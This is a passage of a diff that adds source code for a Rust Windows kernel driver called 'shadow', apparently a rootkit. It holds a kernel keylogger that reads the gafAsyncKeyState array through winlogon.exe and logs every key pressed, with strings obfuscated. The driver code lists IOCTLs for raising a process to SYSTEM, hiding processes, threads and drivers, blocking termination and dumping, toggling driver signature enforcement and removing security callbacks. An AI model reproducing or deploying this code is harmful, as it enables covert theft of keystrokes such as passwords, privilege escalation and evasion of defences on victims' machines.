(0x0D, "ENTER"),
|
||||||
|
(0x10, "SHIFT"),
|
||||||
|
(0x11, "CONTROL"),
|
||||||
|
(0x12, "ALT"),
|
||||||
|
(0x13, "PAUSE"),
|
||||||
|
(0x14, "CAPS LOCK"),
|
||||||
|
(0x1B, "ESCAPE"),
|
||||||
|
(0x20, "SPACEBAR"),
|
||||||
|
(0x21, "PAGE UP"),
|
||||||
|
(0x22, "PAGE DOWN"),
|
||||||
|
(0x23, "END"),
|
||||||
|
(0x24, "HOME"),
|
||||||
|
(0x25, "LEFT ARROW"),
|
||||||
|
(0x26, "UP ARROW"),
|
||||||
|
(0x27, "RIGHT ARROW"),
|
||||||
|
(0x28, "DOWN ARROW"),
|
||||||
|
(0x29, "SELECT"),
|
||||||
|
(0x2A, "PRINT"),
|
||||||
|
(0x2B, "EXECUTE"),
|
||||||
|
(0x2C, "PRINT SCREEN"),
|
||||||
|
(0x2D, "INSERT"),
|
||||||
|
(0x2E, "DELETE"),
|
||||||
|
(0x2F, "HELP"),
|
||||||
|
(0x5B, "LEFT WINDOWS"),
|
||||||
|
(0x5C, "RIGHT WINDOWS"),
|
||||||
|
(0x5D, "APPLICATIONS"),
|
||||||
|
(0x5F, "SLEEP"),
|
||||||
|
(0x60, "NUMPAD 0"),
|
||||||
|
(0x61, "NUMPAD 1"),
|
||||||
|
(0x62, "NUMPAD 2"),
|
||||||
|
(0x63, "NUMPAD 3"),
|
||||||
|
(0x64, "NUMPAD 4"),
|
||||||
|
(0x65, "NUMPAD 5"),
|
||||||
|
(0x66, "NUMPAD 6"),
|
||||||
|
(0x67, "NUMPAD 7"),
|
||||||
|
(0x68, "NUMPAD 8"),
|
||||||
|
(0x69, "NUMPAD 9"),
|
||||||
|
(0x6A, "NUMPAD *"),
|
||||||
|
(0x6B, "NUMPAD +"),
|
||||||
|
(0x6C, "SEPARATOR"),
|
||||||
|
(0x6D, "NUMPAD -"),
|
||||||
|
(0x6E, "NUMPAD ."),
|
||||||
|
(0x6F, "NUMPAD /"),
|
||||||
|
(0x70, "F1"),
|
||||||
|
(0x71, "F2"),
|
||||||
|
(0x72, "F3"),
|
||||||
|
(0x73, "F4"),
|
||||||
|
(0x74, "F5"),
|
||||||
|
(0x75, "F6"),
|
||||||
|
(0x76, "F7"),
|
||||||
|
(0x77, "F8"),
|
||||||
|
(0x78, "F9"),
|
||||||
|
(0x79, "F10"),
|
||||||
|
(0x7A, "F11"),
|
||||||
|
(0x7B, "F12"),
|
||||||
|
(0x7C, "F13"),
|
||||||
|
(0x7D, "F14"),
|
||||||
|
(0x7E, "F15"),
|
||||||
|
(0x7F, "F16"),
|
||||||
|
(0x80, "F17"),
|
||||||
|
(0x81, "F18"),
|
||||||
|
(0x82, "F19"),
|
||||||
|
(0x83, "F20"),
|
||||||
|
(0x84, "F21"),
|
||||||
|
(0x85, "F22"),
|
||||||
|
(0x86, "F23"),
|
||||||
|
(0x87, "F24"),
|
||||||
|
(0x90, "NUM LOCK"),
|
||||||
|
(0x91, "SCROLL LOCK"),
|
||||||
|
(0xA6, "BROWSER BACK"),
|
||||||
|
(0xA7, "BROWSER FORWARD"),
|
||||||
|
(0xA8, "BROWSER REFRESH"),
|
||||||
|
(0xA9, "BROWSER STOP"),
|
||||||
|
(0xAA, "BROWSER SEARCH"),
|
||||||
|
(0xAB, "BROWSER FAVORITES"),
|
||||||
|
(0xAC, "BROWSER HOME"),
|
||||||
|
(0xAD, "VOLUME MUTE"),
|
||||||
|
(0xAE, "VOLUME DOWN"),
|
||||||
|
(0xAF, "VOLUME UP"),
|
||||||
|
(0xB0, "MEDIA NEXT TRACK"),
|
||||||
|
(0xB1, "MEDIA PREVIOUS TRACK"),
|
||||||
|
(0xB2, "MEDIA STOP"),
|
||||||
|
(0xB3, "MEDIA PLAY/PAUSE"),
|
||||||
|
(0xB4, "LAUNCH MAIL"),
|
||||||
|
(0xB5, "MEDIA SELECT"),
|
||||||
|
(0xB6, "LAUNCH APPLICATION 1"),
|
||||||
|
(0xB7, "LAUNCH APPLICATION 2"),
|
||||||
|
(0xBA, "OEM 1"),
|
||||||
|
(0xBB, "OEM +"),
|
||||||
|
(0xBC, "OEM ,"),
|
||||||
|
(0xBD, "OEM -"),
|
||||||
|
(0xBE, "OEM ."),
|
||||||
|
(0xBF, "OEM 2"),
|
||||||
|
(0xC0, "OEM 3"),
|
||||||
|
(0xDB, "OEM 4"),
|
||||||
|
(0xDC, "OEM 5"),
|
||||||
|
(0xDD, "OEM 6"),
|
||||||
|
(0xDE, "OEM 7"),
|
||||||
|
(0xDF, "OEM 8"),
|
||||||
|
(0xE2, "OEM 102"),
|
||||||
|
(0xE5, "IME PROCESS"),
|
||||||
|
(0xE7, "PACKET"),
|
||||||
|
(0xF6, "ATTN"),
|
||||||
|
(0xF7, "CRSEL"),
|
||||||
|
(0xF8, "EXSEL"),
|
||||||
|
(0xF9, "EREOF"),
|
||||||
|
(0xFA, "PLAY"),
|
||||||
|
(0xFB, "ZOOM"),
|
||||||
|
(0x30, "0"),
|
||||||
|
(0x31, "1"),
|
||||||
|
(0x32, "2"),
|
||||||
|
(0x33, "3"),
|
||||||
|
(0x34, "4"),
|
||||||
|
(0x35, "5"),
|
||||||
|
(0x36, "6"),
|
||||||
|
(0x37, "7"),
|
||||||
|
(0x38, "8"),
|
||||||
|
(0x39, "9"),
|
||||||
|
(0x41, "A"),
|
||||||
|
(0x42, "B"),
|
||||||
|
(0x43, "C"),
|
||||||
|
(0x44, "D"),
|
||||||
|
(0x45, "E"),
|
||||||
|
(0x46, "F"),
|
||||||
|
(0x47, "G"),
|
||||||
|
(0x48, "H"),
|
||||||
|
(0x49, "I"),
|
||||||
|
(0x4A, "J"),
|
||||||
|
(0x4B, "K"),
|
||||||
|
(0x4C, "L"),
|
||||||
|
(0x4D, "M"),
|
||||||
|
(0x4E, "N"),
|
||||||
|
(0x4F, "O"),
|
||||||
|
(0x50, "P"),
|
||||||
|
(0x51, "Q"),
|
||||||
|
(0x52, "R"),
|
||||||
|
(0x53, "S"),
|
||||||
|
(0x54, "T"),
|
||||||
|
(0x55, "U"),
|
||||||
|
(0x56, "V"),
|
||||||
|
(0x57, "W"),
|
||||||
|
(0x58, "X"),
|
||||||
|
(0x59, "Y"),
|
||||||
|
(0x5A, "Z"),
|
||||||
|
];
|
||||||
33
driver/src/keylogger/macros.rs
Normal file
33
driver/src/keylogger/macros.rs
Normal file
@@ -0,0 +1,33 @@
|
|||||||
|
// Reference: https://github.com/mirror/reactos/blob/c6d2b35ffc91e09f50dfb214ea58237509329d6b/reactos/win32ss/user/ntuser/input.h#L91
|
||||||
|
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! get_ks_byte {
|
||||||
|
($vk:expr) => {
|
||||||
|
($vk as usize * 2 / 8)
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! get_ks_down_bit {
|
||||||
|
($vk:expr) => {
|
||||||
|
1 << (($vk % 4) * 2)
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! is_key_down {
|
||||||
|
($ks:expr, $vk:expr) => {
|
||||||
|
($ks[get_ks_byte!($vk)] & get_ks_down_bit!($vk)) != 0
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#[macro_export]
|
||||||
|
macro_rules! set_key_down {
|
||||||
|
($ks:expr, $vk:expr, $down:expr) => {
|
||||||
|
if $down {
|
||||||
|
$ks[get_ks_byte!($vk)] |= get_ks_down_bit!($vk);
|
||||||
|
} else {
|
||||||
|
$ks[get_ks_byte!($vk)] &= !get_ks_down_bit!($vk);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
229
driver/src/keylogger/mod.rs
Normal file
229
driver/src/keylogger/mod.rs
Normal file
@@ -0,0 +1,229 @@
|
|||||||
|
use {
|
||||||
|
obfstr::obfstr,
|
||||||
|
shared::structs::Keylogger,
|
||||||
|
keys::VK_CHARS,
|
||||||
|
core::{ffi::c_void, mem::size_of},
|
||||||
|
crate::{
|
||||||
|
process::Process,
|
||||||
|
get_ks_byte, get_ks_down_bit,
|
||||||
|
includes::MmCopyVirtualMemory,
|
||||||
|
is_key_down, set_key_down,
|
||||||
|
utils::{get_function_address_asynckey, get_module_base_address, get_process_by_name},
|
||||||
|
},
|
||||||
|
wdk_sys::{
|
||||||
|
ntddk::{
|
||||||
|
IoGetCurrentProcess, KeDelayExecutionThread, KeStackAttachProcess, KeUnstackDetachProcess,
|
||||||
|
PsTerminateSystemThread,
|
||||||
|
},
|
||||||
|
KAPC_STATE, LARGE_INTEGER, NTSTATUS, PVOID, STATUS_SUCCESS,
|
||||||
|
_MODE::KernelMode,
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
pub mod macros;
|
||||||
|
pub mod keys;
|
||||||
|
|
||||||
|
/// Global variable to store the keylogger's status.
|
||||||
|
pub static mut STATUS: bool = false;
|
||||||
|
|
||||||
|
/// Global variable to control the shutdown of the keylogger.
|
||||||
|
pub static mut SHUTDOWN: bool = false;
|
||||||
|
|
||||||
|
/// Process Winlogon.
|
||||||
|
static mut WINLOGON_EPROCESS: Option<Process> = None;
|
||||||
|
|
||||||
|
/// PID of the process.
|
||||||
|
static mut PID: Option<usize> = None;
|
||||||
|
|
||||||
|
/// Key states.
|
||||||
|
static mut KEY_STATE: [u8; 64] = [0; 64];
|
||||||
|
static mut KEY_PREVIOUS: [u8; 64] = [0; 64];
|
||||||
|
static mut KEY_RECENT: [u8; 64] = [0; 64];
|
||||||
|
|
||||||
|
/// Converts a virtual key code to a character.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `key`: The code for the virtual key.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// `&'static str`: A string representing the character corresponding to the code of the virtual key.
|
||||||
|
///
|
||||||
|
fn vk_to_char(key: u8) -> &'static str {
|
||||||
|
for &(vk, char) in &VK_CHARS {
|
||||||
|
if vk == key {
|
||||||
|
return char;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"UNKNOWN"
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Updates the status of the keys.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `address`: Array address `gafAsyncKeyState`.
|
||||||
|
///
|
||||||
|
unsafe fn update_key_state(address: *mut c_void) {
|
||||||
|
core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64);
|
||||||
|
|
||||||
|
if !initialize_winlogon_process() {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if let Some(winlogon_eprocess) = WINLOGON_EPROCESS.as_ref() {
|
||||||
|
let mut return_number = 0;
|
||||||
|
MmCopyVirtualMemory(
|
||||||
|
winlogon_eprocess.e_process,
|
||||||
|
address,
|
||||||
|
IoGetCurrentProcess(),
|
||||||
|
KEY_STATE.as_ptr() as *mut c_void,
|
||||||
|
size_of::<[u8; 64]>() as u64,
|
||||||
|
KernelMode as i8,
|
||||||
|
&mut return_number,
|
||||||
|
);
|
||||||
|
|
||||||
|
for i in 0..256 {
|
||||||
|
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
|
||||||
|
set_key_down!(KEY_RECENT, i, true);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
log::error!("[!] Error updating key status")
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Starts the Winlogon process.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `bool`: if the Winlogon process was successfully initialized, otherwise `false`.
|
||||||
|
///
|
||||||
|
unsafe fn initialize_winlogon_process() -> bool {
|
||||||
|
if WINLOGON_EPROCESS.is_some() && PID.is_some() {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
PID = get_process_by_name(obfstr!("winlogon.exe"));
|
||||||
|
if let Some(pid) = PID {
|
||||||
|
WINLOGON_EPROCESS = Process::new(pid);
|
||||||
|
WINLOGON_EPROCESS.is_some()
|
||||||
|
} else {
|
||||||
|
false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Checks if a key has been pressed.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `key`: The key code.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// - `bool`: if the key was pressed, otherwise `false`.
|
||||||
|
///
|
||||||
|
unsafe fn key_pressed(key: u8) -> bool {
|
||||||
|
let result = is_key_down!(KEY_RECENT, key);
|
||||||
|
set_key_down!(KEY_RECENT, key, false);
|
||||||
|
result
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The keylogger's main function.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `_address`: Function address (Is not used).
|
||||||
|
///
|
||||||
|
pub unsafe extern "C" fn keylogger(_address: *mut c_void) {
|
||||||
|
let function_address = match get_gafasynckeystate_address() {
|
||||||
|
Some(addr) => addr,
|
||||||
|
None => return,
|
||||||
|
};
|
||||||
|
|
||||||
|
while !SHUTDOWN {
|
||||||
|
if STATUS {
|
||||||
|
// Read the contents of gafAsyncKeyStateAddr and send to KEY_STATE
|
||||||
|
update_key_state(function_address);
|
||||||
|
|
||||||
|
for i in 0..256 {
|
||||||
|
if key_pressed(i as u8) {
|
||||||
|
log::info!("{} pressed", vk_to_char(i as u8));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut interval = LARGE_INTEGER {
|
||||||
|
QuadPart: -1 * (50 * 10000 as i64),
|
||||||
|
};
|
||||||
|
|
||||||
|
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
|
||||||
|
}
|
||||||
|
|
||||||
|
PsTerminateSystemThread(STATUS_SUCCESS);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Get the address of the `gafAsyncKeyState` array.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// `Option<PVOID>`: The address of the `gafAsyncKeyState` array if found, otherwise `None`.
|
||||||
|
///
|
||||||
|
unsafe fn get_gafasynckeystate_address() -> Option<PVOID> {
|
||||||
|
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||||
|
|
||||||
|
if !initialize_winlogon_process() {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
|
||||||
|
let winlogon_eprocess = match WINLOGON_EPROCESS.as_ref() {
|
||||||
|
Some(p) => p,
|
||||||
|
None => return None
|
||||||
|
};
|
||||||
|
|
||||||
|
let module_address = match get_module_base_address(obfstr!("win32kbase.sys")) {
|
||||||
|
Some(addr) => addr,
|
||||||
|
None => return None
|
||||||
|
};
|
||||||
|
let function_address = match get_function_address_asynckey(obfstr!("NtUserGetAsyncKeyState"), module_address) {
|
||||||
|
Some(addr) => addr,
|
||||||
|
None => return None,
|
||||||
|
};
|
||||||
|
|
||||||
|
let function_bytes = core::slice::from_raw_parts(function_address as *const u8, 200);
|
||||||
|
|
||||||
|
KeStackAttachProcess(winlogon_eprocess.e_process, &mut apc_state);
|
||||||
|
|
||||||
|
// fffff4e1`18e41bae 48 8b 05 0b 4d 20 00 mov rax,qword ptr [win32kbase!gafAsyncKeyState (fffff4e1`190468c0)]
|
||||||
|
// fffff4e1`18e41bb5 48 89 81 80 00 00 00 mov qword ptr [rcx+80h],rax
|
||||||
|
let instructions = [0x48, 0x8B, 0x05];
|
||||||
|
|
||||||
|
if let Some(y) = function_bytes.windows(instructions.len()).position(|x| *x == instructions) {
|
||||||
|
let position = y + 3;
|
||||||
|
let offset = function_bytes[position..position + 4]
|
||||||
|
.try_into()
|
||||||
|
.map(u32::from_le_bytes)
|
||||||
|
.expect("Slice length is not 4, cannot convert");
|
||||||
|
|
||||||
|
let new_base = function_address.cast::<u8>().offset((position + 4) as isize);
|
||||||
|
let gaf_async_key_state = new_base.cast::<u8>().offset(offset as isize);
|
||||||
|
log::info!("gafAsyncKeyState address: {:?}", gaf_async_key_state);
|
||||||
|
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
|
||||||
|
return Some(gaf_async_key_state as PVOID);
|
||||||
|
}
|
||||||
|
|
||||||
|
KeUnstackDetachProcess(&mut apc_state);
|
||||||
|
|
||||||
|
None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Sets the keylogger status.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `info`: Pointer to the `Keylogger` structure.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
/// `NTSTATUS`: Returns STATUS_SUCCESS.
|
||||||
|
///
|
||||||
|
pub unsafe fn set_keylogger_state(info: *mut Keylogger) -> NTSTATUS {
|
||||||
|
STATUS = (*info).enable;
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
327
driver/src/lib.rs
Normal file
327
driver/src/lib.rs
Normal file
@@ -0,0 +1,327 @@
|
|||||||
|
#![no_std]
|
||||||
|
#![allow(unused_must_use)]
|
||||||
|
#![allow(unreachable_code)]
|
||||||
|
#![allow(unused_variables)]
|
||||||
|
|
||||||
|
extern crate alloc;
|
||||||
|
|
||||||
|
use {
|
||||||
|
utils::uni,
|
||||||
|
kernel_log::KernelLogger,
|
||||||
|
core::ptr::null_mut,
|
||||||
|
wdk_sys::{_MODE::KernelMode, ntddk::*, *},
|
||||||
|
keylogger::SHUTDOWN,
|
||||||
|
crate::utils::ioctls::IOCTL_MAP,
|
||||||
|
};
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
use {
|
||||||
|
process::{on_pre_open_process, CALLBACK_REGISTRATION_HANDLE_PROCESS},
|
||||||
|
thread::{on_pre_open_thread, CALLBACK_REGISTRATION_HANDLE_THREAD},
|
||||||
|
registry::{registry_callback, CALLBACK_REGISTRY},
|
||||||
|
};
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
mod registry;
|
||||||
|
mod callbacks;
|
||||||
|
mod driver;
|
||||||
|
mod includes;
|
||||||
|
mod keylogger;
|
||||||
|
mod process;
|
||||||
|
mod thread;
|
||||||
|
mod module;
|
||||||
|
mod utils;
|
||||||
|
|
||||||
|
/// The name of the device in the device namespace.
|
||||||
|
const DEVICE_NAME: &str = "\\Device\\shadow";
|
||||||
|
|
||||||
|
/// The name of the device in the DOS device namespace.
|
||||||
|
const DOS_DEVICE_NAME: &str = "\\??\\shadow";
|
||||||
|
|
||||||
|
/// Driver input function.
|
||||||
|
///
|
||||||
|
/// This function is called by the system when the driver is loaded.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `driver_object`: Pointer to the driver object.
|
||||||
|
/// - `registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
/// Reference: WDF expects a symbol with the name DriverEntry
|
||||||
|
#[export_name = "DriverEntry"]
|
||||||
|
pub unsafe extern "system" fn driver_entry(
|
||||||
|
driver: &mut DRIVER_OBJECT,
|
||||||
|
registry_path: PCUNICODE_STRING,
|
||||||
|
) -> NTSTATUS {
|
||||||
|
KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger");
|
||||||
|
|
||||||
|
log::info!("DriverEntry Loaded");
|
||||||
|
|
||||||
|
#[cfg(feature = "mapper")] {
|
||||||
|
use includes::IoCreateDriver;
|
||||||
|
|
||||||
|
const DRIVER_NAME: &str = "\\Driver\\shadow";
|
||||||
|
let mut driver_name = uni::str_to_unicode(DRIVER_NAME).to_unicode();
|
||||||
|
let status = IoCreateDriver(&mut driver_name, Some(ghost_entry));
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("IoCreateDriver Failed With Status: {status}");
|
||||||
|
}
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
ghost_entry(driver, registry_path)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Driver input function.
|
||||||
|
///
|
||||||
|
/// This function is called by the system when the driver is loaded. It is responsible for
|
||||||
|
/// initializing the driver, creating the device object and setting up the symbolic link.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `driver_object`: Pointer to the driver object.
|
||||||
|
/// - `_registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
pub unsafe extern "system" fn ghost_entry(
|
||||||
|
driver: &mut DRIVER_OBJECT,
|
||||||
|
_registry_path: PCUNICODE_STRING,
|
||||||
|
) -> NTSTATUS {
|
||||||
|
log::info!("Shadow Loaded");
|
||||||
|
|
||||||
|
let device_name = uni::str_to_unicode(DEVICE_NAME);
|
||||||
|
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
|
||||||
|
let mut device_object: *mut DEVICE_OBJECT = core::ptr::null_mut();
|
||||||
|
let mut status = IoCreateDevice(
|
||||||
|
driver,
|
||||||
|
0,
|
||||||
|
&mut device_name.to_unicode(),
|
||||||
|
FILE_DEVICE_UNKNOWN,
|
||||||
|
FILE_DEVICE_SECURE_OPEN,
|
||||||
|
0,
|
||||||
|
&mut device_object,
|
||||||
|
);
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("IoCreateDevice Failed With Status: {status}");
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
driver.DriverUnload = Some(driver_unload);
|
||||||
|
driver.MajorFunction[IRP_MJ_CREATE as usize] = Some(driver_close);
|
||||||
|
driver.MajorFunction[IRP_MJ_CLOSE as usize] = Some(driver_close);
|
||||||
|
driver.MajorFunction[IRP_MJ_DEVICE_CONTROL as usize] = Some(device_control);
|
||||||
|
|
||||||
|
status = IoCreateSymbolicLink(&mut dos_device_name.to_unicode(),&mut device_name.to_unicode());
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
IoDeleteDevice(device_object);
|
||||||
|
log::error!("IoCreateSymbolicLink Failed With Status: {status}");
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut h_thread: HANDLE = core::ptr::null_mut();
|
||||||
|
status = PsCreateSystemThread(
|
||||||
|
&mut h_thread,
|
||||||
|
THREAD_ALL_ACCESS,
|
||||||
|
null_mut(),
|
||||||
|
null_mut(),
|
||||||
|
null_mut(),
|
||||||
|
Some(keylogger::keylogger),
|
||||||
|
null_mut(),
|
||||||
|
);
|
||||||
|
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
IoDeleteDevice(device_object);
|
||||||
|
log::error!("PsCreateSystemThread Failed With Status: {status}");
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(feature = "mapper")] {
|
||||||
|
(*device_object).Flags |= DO_BUFFERED_IO;
|
||||||
|
(*device_object).Flags &= !DO_DEVICE_INITIALIZING;
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))] {
|
||||||
|
status = register_callbacks(driver);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
log::error!("register_callbacks Failed With Status: {status}");
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Handles device control commands (IOCTL).
|
||||||
|
///
|
||||||
|
/// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `_device`: Pointer to the device object (not used in this function).
|
||||||
|
/// - `irp`: Pointer to the I/O request packet (IRP) that contains the information about the device control request.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
||||||
|
///
|
||||||
|
/// # Supported IOCTLs
|
||||||
|
/// - `IOCTL_ELEVATE_PROCESS`: Elevates the specified process to system privileges.
|
||||||
|
/// - `IOCTL_HIDE_UNHIDE_PROCESS`: Hide / Unhide the specified process.
|
||||||
|
/// - `IOCTL_TERMINATE_PROCESS`: Terminate process.
|
||||||
|
/// - `IOCTL_PROTECTION_PROCESS`: Modifying the PP / PPL of a process.
|
||||||
|
/// - `IOCTL_ANTI_KILL_DUMPING_PROCESS`: Responsible for adding shutdown protection / memory dumping for a process.
|
||||||
|
/// - `IOCTL_ENUMERATION_PROCESS`: Lists the processes currently hidden and protect.
|
||||||
|
/// - `IOCTL_HIDE_UNHIDE_THREAD`: Hide the specified Thread by removing it from the list of active threads.
|
||||||
|
/// - `IOCTL_ANTI_KILL_THREAD`: Responsible for adding thread termination protection.
|
||||||
|
/// - `IOCTL_HIDE_DRIVER`: Hiding a driver from loaded modules.
|
||||||
|
/// - `IOCTL_ENUMERATE_DRIVER`: Enumerate active drivers on the system.
|
||||||
|
/// - `IOCTL_ENABLE_DSE`: Responsible for enabling/disabling DSE.
|
||||||
|
/// - `IOCTL_KEYLOGGER`: Start / Stop Keylogger.
|
||||||
|
/// - `IOCTL_ENUMERATE_CALLBACK`: Lists callbacks.
|
||||||
|
/// - `IOCTL_REMOVE_CALLBACK`: Remove a callback.
|
||||||
|
///
|
||||||
|
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||||
|
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
||||||
|
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
||||||
|
let status;
|
||||||
|
|
||||||
|
if let Some(handler) = IOCTL_MAP.get(&control_code) {
|
||||||
|
status = handler(irp, stack);
|
||||||
|
} else {
|
||||||
|
status = STATUS_INVALID_DEVICE_REQUEST;
|
||||||
|
}
|
||||||
|
|
||||||
|
(*irp).IoStatus.__bindgen_anon_1.Status = status;
|
||||||
|
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
|
||||||
|
|
||||||
|
status
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Closes an open instance of the device.
|
||||||
|
///
|
||||||
|
/// This function is called when an open instance of the device is closed.
|
||||||
|
/// It marks the I/O request (IRP) as successfully completed.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `_device_object`: Pointer to the associated device object (not used in this function).
|
||||||
|
/// - `irp`: Pointer to the I/O request packet (IRP) containing the information about the close request.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
||||||
|
///
|
||||||
|
pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||||
|
(*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS;
|
||||||
|
(*irp).IoStatus.Information = 0;
|
||||||
|
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
|
||||||
|
STATUS_SUCCESS
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Download the system driver.
|
||||||
|
///
|
||||||
|
/// This function is called when the driver is being unloaded from the system.
|
||||||
|
/// It removes the symbolic link and deletes the device object associated with the driver.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `driver_object`: Pointer to the driver object being unloaded.
|
||||||
|
///
|
||||||
|
pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
|
||||||
|
log::info!("Unloading driver");
|
||||||
|
|
||||||
|
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
|
||||||
|
IoDeleteSymbolicLink(&mut dos_device_name.to_unicode());
|
||||||
|
IoDeleteDevice((*driver_object).DeviceObject);
|
||||||
|
|
||||||
|
SHUTDOWN = true;
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))] {
|
||||||
|
ObUnRegisterCallbacks(process::CALLBACK_REGISTRATION_HANDLE_PROCESS);
|
||||||
|
ObUnRegisterCallbacks(CALLBACK_REGISTRATION_HANDLE_THREAD);
|
||||||
|
CmUnRegisterCallback(CALLBACK_REGISTRY);
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut interval = LARGE_INTEGER {
|
||||||
|
QuadPart: -1 * (50 * 10000 as i64),
|
||||||
|
};
|
||||||
|
|
||||||
|
KeDelayExecutionThread(KernelMode as i8, 0, &mut interval);
|
||||||
|
|
||||||
|
log::info!("Shadow Unload");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Register Callbacks.
|
||||||
|
///
|
||||||
|
/// # Parameters
|
||||||
|
/// - `driver_object`: Pointer to the driver object being unloaded.
|
||||||
|
///
|
||||||
|
/// # Return
|
||||||
|
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
||||||
|
///
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS {
|
||||||
|
let mut status;
|
||||||
|
|
||||||
|
// Creating callbacks related to Process operations
|
||||||
|
let mut op_reg = OB_OPERATION_REGISTRATION {
|
||||||
|
ObjectType: PsProcessType,
|
||||||
|
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
|
||||||
|
PreOperation: Some(on_pre_open_process),
|
||||||
|
PostOperation: None,
|
||||||
|
};
|
||||||
|
let altitude = uni::str_to_unicode("31243.5222");
|
||||||
|
